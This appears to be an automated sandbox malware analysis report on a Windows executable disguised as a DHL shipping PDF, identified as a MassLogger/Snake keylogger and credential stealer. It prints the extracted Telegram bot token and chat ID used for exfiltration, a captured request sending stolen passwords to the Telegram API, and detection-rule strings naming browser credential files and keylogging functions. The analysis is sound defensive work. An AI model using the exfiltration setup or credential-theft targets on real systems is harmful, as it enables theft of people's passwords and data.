Edit tour

Windows Analysis Report
DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Overview

General Information

Sample name:	DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Analysis ID:	1632027
MD5:	de509e89b502f4ff95d4c40bdc532816
SHA1:	0deb0d30f591bb0f086dba33f9724933dd108376
SHA256:	8be24b4a43a08fa9f9800c60d3da03062ddb912f6a8c702d3ca58bc465788516
Tags:	DHLexeuser-abuse_ch
Infos:

Detection

MSIL Logger, MassLogger RAT

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected MSIL Logger

Yara detected MassLogger RAT

Yara detected Telegram RAT

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

PE file contains section with special chars

PE file has nameless sections

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

DHL Shipping Details Ref ID 446331798008765975594-pdf.exe (PID: 6876 cmdline: "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe" MD5: DE509E89B502F4FF95D4C40BDC532816)

DHL Shipping Details Ref ID 446331798008765975594-pdf.exe (PID: 6984 cmdline: "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe" MD5: DE509E89B502F4FF95D4C40BDC532816)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0", "Telegram Chatid": "7319393351"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xefb7:$a1: get_encryptedPassword 0xf2df:$a2: get_encryptedUsername 0xed52:$a3: get_timePasswordChanged 0xee73:$a4: get_passwordField 0xefcd:$a5: set_encryptedPassword 0x10929:$a7: get_logins 0x105da:$a8: GetOutlookPasswords 0x103cc:$a9: StartKeylogger 0x10879:$a10: KeyLoggerEventArgs 0x10429:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xfbf7:$a1: get_encryptedPassword 0x26a17:$a1: get_encryptedPassword 0x3d637:$a1: get_encryptedPassword 0xff1f:$a2: get_encryptedUsername 0x26d3f:$a2: get_encryptedUsername 0x3d95f:$a2: get_encryptedUsername 0xf992:$a3: get_timePasswordChanged 0x267b2:$a3: get_timePasswordChanged 0x3d3d2:$a3: get_timePasswordChanged 0xfab3:$a4: get_passwordField 0x268d3:$a4: get_passwordField 0x3d4f3:$a4: get_passwordField 0xfc0d:$a5: set_encryptedPassword 0x26a2d:$a5: set_encryptedPassword 0x3d64d:$a5: set_encryptedPassword 0x11569:$a7: get_logins 0x28389:$a7: get_logins 0x3efa9:$a7: get_logins 0x1121a:$a8: GetOutlookPasswords 0x2803a:$a8: GetOutlookPasswords 0x3ec5a:$a8: GetOutlookPasswords
00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x4aaeb:$a1: get_encryptedPassword 0x4ae04:$a2: get_encryptedUsername 0x4a89a:$a3: get_timePasswordChanged 0x4a9bb:$a4: get_passwordField 0x4ab01:$a5: set_encryptedPassword 0x4c404:$a7: get_logins 0x4c0b5:$a8: GetOutlookPasswords 0x4bea7:$a9: StartKeylogger 0x4c354:$a10: KeyLoggerEventArgs 0x4bf04:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6984	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22e9a:$a1: get_encryptedPassword 0x231b3:$a2: get_encryptedUsername 0x22c49:$a3: get_timePasswordChanged 0x22d6a:$a4: get_passwordField 0x22eb0:$a5: set_encryptedPassword 0x247b3:$a7: get_logins 0x24464:$a8: GetOutlookPasswords 0x24256:$a9: StartKeylogger 0x24703:$a10: KeyLoggerEventArgs 0x242b3:$a11: KeyLoggerEventArgsEventHandler
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1b7:$a1: get_encryptedPassword 0xf4df:$a2: get_encryptedUsername 0xef52:$a3: get_timePasswordChanged 0xf073:$a4: get_passwordField 0xf1cd:$a5: set_encryptedPassword 0x10b29:$a7: get_logins 0x107da:$a8: GetOutlookPasswords 0x105cc:$a9: StartKeylogger 0x10a79:$a10: KeyLoggerEventArgs 0x10629:$a11: KeyLoggerEventArgsEventHandler
2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14163:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13661:$a3: \Google\Chrome\User Data\Default\Login Data 0x1396f:$a4: \Orbitum\User Data\Default\Login Data 0x14767:$a5: \Kometa\User Data\Default\Login Data
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3b7:$a1: get_encryptedPassword 0xd6df:$a2: get_encryptedUsername 0xd152:$a3: get_timePasswordChanged 0xd273:$a4: get_passwordField 0xd3cd:$a5: set_encryptedPassword 0xed29:$a7: get_logins 0xe9da:$a8: GetOutlookPasswords 0xe7cc:$a9: StartKeylogger 0xec79:$a10: KeyLoggerEventArgs 0xe829:$a11: KeyLoggerEventArgsEventHandler
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12363:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11861:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b6f:$a4: \Orbitum\User Data\Default\Login Data 0x12967:$a5: \Kometa\User Data\Default\Login Data
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3b7:$a1: get_encryptedPassword 0xd6df:$a2: get_encryptedUsername 0xd152:$a3: get_timePasswordChanged 0xd273:$a4: get_passwordField 0xd3cd:$a5: set_encryptedPassword 0xed29:$a7: get_logins 0xe9da:$a8: GetOutlookPasswords 0xe7cc:$a9: StartKeylogger 0xec79:$a10: KeyLoggerEventArgs 0xe829:$a11: KeyLoggerEventArgsEventHandler
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12363:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11861:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b6f:$a4: \Orbitum\User Data\Default\Login Data 0x12967:$a5: \Kometa\User Data\Default\Login Data
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1b7:$a1: get_encryptedPassword 0x25dd7:$a1: get_encryptedPassword 0xf4df:$a2: get_encryptedUsername 0x260ff:$a2: get_encryptedUsername 0xef52:$a3: get_timePasswordChanged 0x25b72:$a3: get_timePasswordChanged 0xf073:$a4: get_passwordField 0x25c93:$a4: get_passwordField 0xf1cd:$a5: set_encryptedPassword 0x25ded:$a5: set_encryptedPassword 0x10b29:$a7: get_logins 0x27749:$a7: get_logins 0x107da:$a8: GetOutlookPasswords 0x273fa:$a8: GetOutlookPasswords 0x105cc:$a9: StartKeylogger 0x271ec:$a9: StartKeylogger 0x10a79:$a10: KeyLoggerEventArgs 0x27699:$a10: KeyLoggerEventArgs 0x10629:$a11: KeyLoggerEventArgsEventHandler 0x27249:$a11: KeyLoggerEventArgsEventHandler
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14163:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2ad83:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13661:$a3: \Google\Chrome\User Data\Default\Login Data 0x2a281:$a3: \Google\Chrome\User Data\Default\Login Data 0x1396f:$a4: \Orbitum\User Data\Default\Login Data 0x2a58f:$a4: \Orbitum\User Data\Default\Login Data 0x14767:$a5: \Kometa\User Data\Default\Login Data 0x2b387:$a5: \Kometa\User Data\Default\Login Data
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1b7:$a1: get_encryptedPassword 0x25fd7:$a1: get_encryptedPassword 0x3cbf7:$a1: get_encryptedPassword 0xf4df:$a2: get_encryptedUsername 0x262ff:$a2: get_encryptedUsername 0x3cf1f:$a2: get_encryptedUsername 0xef52:$a3: get_timePasswordChanged 0x25d72:$a3: get_timePasswordChanged 0x3c992:$a3: get_timePasswordChanged 0xf073:$a4: get_passwordField 0x25e93:$a4: get_passwordField 0x3cab3:$a4: get_passwordField 0xf1cd:$a5: set_encryptedPassword 0x25fed:$a5: set_encryptedPassword 0x3cc0d:$a5: set_encryptedPassword 0x10b29:$a7: get_logins 0x27949:$a7: get_logins 0x3e569:$a7: get_logins 0x107da:$a8: GetOutlookPasswords 0x275fa:$a8: GetOutlookPasswords 0x3e21a:$a8: GetOutlookPasswords
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14163:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2af83:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x41ba3:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13661:$a3: \Google\Chrome\User Data\Default\Login Data 0x2a481:$a3: \Google\Chrome\User Data\Default\Login Data 0x410a1:$a3: \Google\Chrome\User Data\Default\Login Data 0x1396f:$a4: \Orbitum\User Data\Default\Login Data 0x2a78f:$a4: \Orbitum\User Data\Default\Login Data 0x413af:$a4: \Orbitum\User Data\Default\Login Data 0x14767:$a5: \Kometa\User Data\Default\Login Data 0x2b587:$a5: \Kometa\User Data\Default\Login Data 0x421a7:$a5: \Kometa\User Data\Default\Login Data
Click to see the 25 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T18:41:26.645424+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.10	49688	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T18:41:13.861289+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49684	132.226.247.73	80	TCP
2025-03-07T18:41:23.033169+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49684	132.226.247.73	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T18:41:25.644491+0100	1810008	1	Potentially Bad Traffic	192.168.2.10	49688	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0/sendDocument?chat_id=7319393351&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd5d755d711b1cHost: api.telegram.orgContent-Length: 1088Connection: Keep-Alive

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgd
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1106846219.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1106846219.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/CRUDDataSet.xsd
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1106846219.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/CRUDDataSet1.xsd
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1106846219.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/CRUDDataSet1.xsd?0ZM
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1106846219.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/CRUDDataSet1.xsdIData
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0/sendDocument?chat_id=7319
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189d
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49688 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, UltraSpeed.cs	.Net Code: VKCodeToUnicode
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, UltraSpeed.cs	.Net Code: VKCodeToUnicode

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000002.00000002.3534770188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1107898524.0000000004936000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
